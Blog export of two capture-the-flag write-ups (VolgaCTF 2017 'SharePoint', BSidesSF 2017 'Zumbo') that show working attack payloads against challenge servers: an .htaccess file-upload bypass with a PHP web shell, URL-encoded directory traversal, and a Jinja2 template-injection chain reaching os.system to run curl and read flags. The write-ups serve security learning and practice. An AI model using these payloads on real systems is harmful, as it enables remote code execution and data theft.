<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7ZidviCRnv-laujDzmSjLyhil6UKZQYXp5JyjbJ035XhTmwonSqXjJzZh8KQNkdH-4U9UIn0ySE5auNzLMjthnIqL_T2Jxzv2bILAsFEMbMPCadP4hrGBTQGSuA850JbIchyphenhyphenG3_VwElw/s1600/bloody-flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7ZidviCRnv-laujDzmSjLyhil6UKZQYXp5JyjbJ035XhTmwonSqXjJzZh8KQNkdH-4U9UIn0ySE5auNzLMjthnIqL_T2Jxzv2bILAsFEMbMPCadP4hrGBTQGSuA850JbIchyphenhyphenG3_VwElw/s1600/bloody-flag.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj94LNVqb839hBIiYlSv8Bd8SSFzcQ8_SEkf7k7Aba3I061duzfNEpHcNoIxTiF6RzDw5jpMo7aG0oZY-d0RgLnY53IA5cYIYPjYKqIFccFbYjj3kN7TitTb_5TtPK_wQqXXOvKbrIcOn4/s1600/bloody-yay%2521.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj94LNVqb839hBIiYlSv8Bd8SSFzcQ8_SEkf7k7Aba3I061duzfNEpHcNoIxTiF6RzDw5jpMo7aG0oZY-d0RgLnY53IA5cYIYPjYKqIFccFbYjj3kN7TitTb_5TtPK_wQqXXOvKbrIcOn4/s1600/bloody-yay%2521.gif" /></a></div>
<br />
<br />
</div>.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-11119855606154316232017-03-26T18:11:00.001-07:002017-03-26T18:11:03.943-07:00VolgaCTF 2017 Quals - SharePoint (200)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
<br />
This CTF was a lot of fun, we ended up solving six challenges and landing in the top 100 which didn't seem too bad for 1-2 of us playing. Also learned about a few topics in the process.
<br />
<br />
SharePoint was a web challenge which starts out with a login form. Most of the web challenges consisted of a similar authentication method. Simply login with any creds you'd like to use (restricted to regular expression with length > 7), and it'll register / sign-in to that user account, probably setup this way for simplicity.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdOlPK2mp83puGUakDnjvTNr_NDIkoaZTZlhqqJFeLnBSZDKzhUmv198ZtbGIAYKs9Y-jJvtRvwS2hp6PL6HmTYxqlfD84GJLxJLyZ5bUcq8gKTYEsySRQbz1sNKrkEMMTig0GASO67YA/s1600/share-point-initial.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdOlPK2mp83puGUakDnjvTNr_NDIkoaZTZlhqqJFeLnBSZDKzhUmv198ZtbGIAYKs9Y-jJvtRvwS2hp6PL6HmTYxqlfD84GJLxJLyZ5bUcq8gKTYEsySRQbz1sNKrkEMMTig0GASO67YA/s640/share-point-initial.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
After logging in, we're presented with a web application that allows you to upload and share files with other users.
<br />
<br />
The first thought on a web application like this is: File Upload -> LFI. It turns out this was exactly what it was, with a small twist.
<br />
<br />
Uploading the obvious example, a php web-shell caused an error to be displayed. It probably filters based on filename extension, such as php, html, etc. Uploading the web shell as a png seemed to work, but the server wouldn't execute php in this file by default.<br />
<br />
Looking at the share functionality we could see that it just performs a php copy() operation from one user's files directory to another. It also seemed as if we could traverse up the directory structure to pull files such as ../../index.php, ../../.htaccess, etc. Unfortunately during the challenge we didn't find an easy way to read these files, so this wasn't very helpful.<br />
<br />
What we can do is setup our own .htaccess file since we have control over a full directory and the names / content of the files uploaded do not change. We may also want to see the directory contents and add our own executable php format to the server to get around the file extension restriction. To do this we can add the following rules to a small .htaccess file and upload it to the server:<br />
<br />
<pre>Options +Indexes
AddHandler application/x-httpd-php .vv
AddType application/x-httpd-php .vv
AddType application/x-httpd-php5 .vv
</pre>
<br />
We'll also upload a very simple web shell to the server to get code exection:
<br />
<br />
<pre><pre><?php echo system($_GET['c']); ?></pre>
</pre>
<br />
<br />
Visiting the link to the shell and passing in a command seems to work:
<br />
<a href="http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=uname+-a">http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=uname+-a</a>
<br />
<br />
<pre>
Linux cs76582 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
</pre>
<br />
<br />
Now to look for something more interesting, the flag:
<br />
<a href="http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=find+/+-type+f+|+grep+flag">http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=find+/+-type+f+|+grep+flag</a>
<br /><br />
<pre>
...
/opt/flag.txt
...
</pre>
<br />
There were many files listed, a hint mentioned the flag was in an 'optimal' location, referencing /opt.
<br />
Checking out this file (/opt/flag.txt), we get:
<br /><br />
<a href="http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=cat+/opt/flag.txt">http://share-point.quals.2017.volgactf.ru/files/vvvvv/s.vv?c=cat+/opt/flag.txt
</a>
<br /><br />
<pre>VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}
</pre>
<br />
<br />
Loved this challenge, and learned a little about Apache rules in the process!
<br />
<br />
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-33422851557324028612017-02-14T09:31:00.000-08:002018-04-08T15:06:37.470-07:00BSidesSF 2017 - Web: Zumbo<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG7i3_BbJYlG-yczoFFFt6t2O3dbMIxXwGz3uD6KgwfIn6cYCh8ex5LS4BvM_XYvga1RZLGsVcsn6ReYoYeEK_pizhNwsGX4sRvcASWLlPdZLRFqqVzvcogLOFlRO5EproXDlsurv3QD4/s1600/2017_logo_small2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG7i3_BbJYlG-yczoFFFt6t2O3dbMIxXwGz3uD6KgwfIn6cYCh8ex5LS4BvM_XYvga1RZLGsVcsn6ReYoYeEK_pizhNwsGX4sRvcASWLlPdZLRFqqVzvcogLOFlRO5EproXDlsurv3QD4/s1600/2017_logo_small2.png" /></a></div>
<br />
<br />
The Google & Synack sponsored BSidesSF CTF was fantastic this year! From easier challenges to difficult, and some very innovative for challenges, it was a lot of fun to play!<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxyIBhgiqfpdhQIvMlk-TjtQ163MX_bXK2XIjUi1xCP1IgN-0J5rkFTPfTRy-XQFowuOWy_KMbEBoNL5EuKLLcq7QQ7w86gU-1RfXxiukgqfCNYmpMi0I-HhAwHMGAXXPDqnCm0tcpDmI/s1600/zubmo2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxyIBhgiqfpdhQIvMlk-TjtQ163MX_bXK2XIjUi1xCP1IgN-0J5rkFTPfTRy-XQFowuOWy_KMbEBoNL5EuKLLcq7QQ7w86gU-1RfXxiukgqfCNYmpMi0I-HhAwHMGAXXPDqnCm0tcpDmI/s640/zubmo2.png" width="640" /></a></div>
<br />
<br />
<h3>
<u id="zumbo-1">Zumbo 1 (20)</u></h3>
<br />
On Zumbo we start off on the route 'index.template' - http://zumbo-8ac445b1.ctf.bsidessf.net/index.template<br />
<br />
Attempting to hit robots.txt, we get this odd message: [Errno 2] No such file or directory: u'robots.txt'<br />
<br />
The python unicode string instantly stuck out identifying this as a python backend.<br />
<br />
Looking at the source of index.template, we get this nice comment towards the bottom:<br />
<br />
<pre><!-- page: index.template, src: /code/server.py --></pre>
<br />
Next, it was time to check out server.py to see if it exists, visiting http://zumbo-8ac445b1.ctf.bsidessf.net/server.py we get:<br />
<br />
<pre>import flask, sys, os
import requests
app = flask.Flask(__name__)
counter = 12345672
@app.route('/<path:page>')
def custom_page(page):
if page == 'favicon.ico': return ''
global counter
counter += 1
try:
template = open(page).read()
except Exception as e:
template = str(e)
template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)
return flask.render_template_string(template, name='test', counter=counter);
@app.route('/')
def home():
return flask.redirect('/index.template');
if __name__ == '__main__':
flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD'
with open('/flag') as f:
flag2 = f.read()
flag3 = requests.get('http://vault:8080/flag').text
print "Ready set go!"
sys.stdout.flush()
app.run(host="0.0.0.0")
</path:page></pre>
<br />
And with that, we've already completed Zumbo 1! Dropping the flag:
<br />
<br />
<pre>FLAG: FIRST_FLAG_WASNT_HARD
</pre>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZl4pww0aSPRYTanZgw6FBYWC653ftDz9Zg1_jbJniIbkHkbiWf-BHhIOtMtA4wGLAoYTOY9x6EPAVUVEsnc6HscgBUQoxfJqnVu7kjMjOm0kXIJ-YAcBikJm5KFDW2nKwvqHi9kKusXw/s1600/zumbo-22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZl4pww0aSPRYTanZgw6FBYWC653ftDz9Zg1_jbJniIbkHkbiWf-BHhIOtMtA4wGLAoYTOY9x6EPAVUVEsnc6HscgBUQoxfJqnVu7kjMjOm0kXIJ-YAcBikJm5KFDW2nKwvqHi9kKusXw/s640/zumbo-22.png" width="640" /></a></div>
<br />
<h3>
<u id="zumbo-2">Zumbo 2 (100)</u></h3>
<br />
The next flag was located in the file /flag on the server. This next part was solved by a team-mate very quickly, but here's how it was done:
<br />
<br />
<pre>http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/flag
FLAG: RUNNER_ON_SECOND_BASE
</pre>
<br />
This was just urlencoded directory traversal, nice! :) So now we can read any file on the server as well.
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_rtkmaM0gmlvPMdvTyYrrL54G6gcJb1-FsKQOt0YWwfgvhEVdMCvig4brz0eVbrhcCfYLrWYA3SxtHld4UJH-zn_6dxyVKop4KGnwa1FWCTX2kZD484qZtvDWwMPzhJWkaHjs2qtDLFo/s1600/zumbo3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_rtkmaM0gmlvPMdvTyYrrL54G6gcJb1-FsKQOt0YWwfgvhEVdMCvig4brz0eVbrhcCfYLrWYA3SxtHld4UJH-zn_6dxyVKop4KGnwa1FWCTX2kZD484qZtvDWwMPzhJWkaHjs2qtDLFo/s640/zumbo3.png" width="640" /></a></div>
<br />
<h3>
<u id="zumbo-3">Zumbo 3 (250)</u></h3>
This next part ended up taking a while to complete. Because there was a load balancer setup on the server, it added an element of difficulty to read & write files using two commands.<br />
<br />
In the beginning of this blog post we see that there's the python unicode strings being dumped to the page:<br />
<br />
<pre>[Errno 2] No such file or directory: u'robots.txt'
</pre>
<br />
<br />
This comes from this section in the code:
<br />
<br />
<pre> try:
template = open(page).read()
except Exception as e:
template = str(e)
</pre>
<br />
It's nice we're able to get some output from the server. After a few attempts checking string escaping, we look elsewhere. Stumbling on a few blog posts about python server exploitation was invaluable. The main ones we ended up referring to were:<br />
<ul>
<li><a href="https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/">https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/</a></li>
<li><a href="https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/">https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/</a></li>
<li><a href="https://hexplo.it/escaping-the-csawctf-python-sandbox/">https://hexplo.it/escaping-the-csawctf-python-sandbox/</a></li>
</ul>
<br />
Part II of the article from nvisium turned out to be the intended solution. After trying that one out multiple times and failing, I ended up doing it the hard way, which is what I'll be describing in this post.<br />
<br />
All of these articles are about SSTI or Server Side Template Injection. <br />
<br />
Here's a very basic example of this:<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B1+1%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ 1+1 }}</a><br />
<br />
Which results in the following:<br />
<br />
<pre>[Errno 2] No such file or directory: u'2'
</pre>
<br />
<br />
So we can execute some python! Great! Although we don't have access to everything because of the context of the templating engine. For example:
<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20print(%22hello%22)%20%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ print("hello") }}</a><br />
<br />
Results in an ISE:
<br />
<br />
<pre>Internal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
</pre>
<br />
<br />
We can still work with this though. The third article linked was invaluable for stepping through the process, similar to other CTF challenges with python jails.
<br />
<br />
Looking at an empty string's __mro__ we can access the following classes:
<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20''.__class__.__mro__%20%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__ }}</a>
<br />
<br />
<pre>[Errno 2] No such file or directory: u"(<type str="">, <type basestring="">, <type object="">)"
</pre>
<br />
<br />
Now we can dive into the object class and grab a few other modules, with this we get quite a lot:
<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20''.__class__.__mro__[2].__subclasses__()%20%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__() }}</a><br />
<br />
<br />
<pre>[Errno 2] No such file or directory: u"[
<type 'type'>,
<type 'weakref'>,
<type 'weakcallableproxy'>,
<type 'weakproxy'>,
<type 'int'>,
<type 'basestring'>,
<type 'bytearray'>,
<type 'list'>,
<type 'NoneType'>,
<type 'NotImplementedType'>,
......
</pre>
<br />
What we're now looking for in here is the method 'warnings.catch_warnings'. This contains linecache which uses os. The os module contains the os.system method, which for us means RCE.
<br />
<br />
This ends up being at index 59:
<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[59]%20%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59] }}</a><br />
<br />
<pre>[Errno 2] No such file or directory: u"<class 'warnings.catch_warnings'>"</pre>
<br />
Continuing this treasure hunt to find the index of a module inside the list of subclasses & func_globals we land on system:
<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]%20%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144] }}</a><br />
<br />
<pre>[Errno 2] No such file or directory: u"<built-in function="" system="">"
</built-in></pre>
<br />
Now we can call this with any command! Let's just curl that url as they do in the python server.py script:<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl%20http://vault:8080/flag')%20%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag') }}</a><br />
<br />
<pre>[Errno 2] No such file or directory: u"0"
</pre>
<br />
Unfortunately the stdout doesn't get redirected to us in this case, but that's okay, we can just check a file.
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl%20http://vault:8080/flag%20%3E%20/tmp/wubalubadubdub')%20%7D%7D"><br /></a>
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl%20http://vault:8080/flag%20%3E%20/tmp/wubalubadubdub')%20%7D%7D">http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag > /tmp/wubalubadubdub') }}</a><br />
<br />
Now using the directory traversal previously (or using the file module exposed on index 40 of object), we can read in the file!
<br />
<br />
<a href="http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/tmp/wubalubadubdub">http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/tmp/wubalubadubdub</a><br />
<br />
<pre>FLAG: BRICK_HOUSE_BEATS_THE_WOLF
</pre>
<br />
<br />
This ended up being a little different than the standard technique, it also ended up giving us root on the server instead of just dropping the flag.<br />
<br />
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.com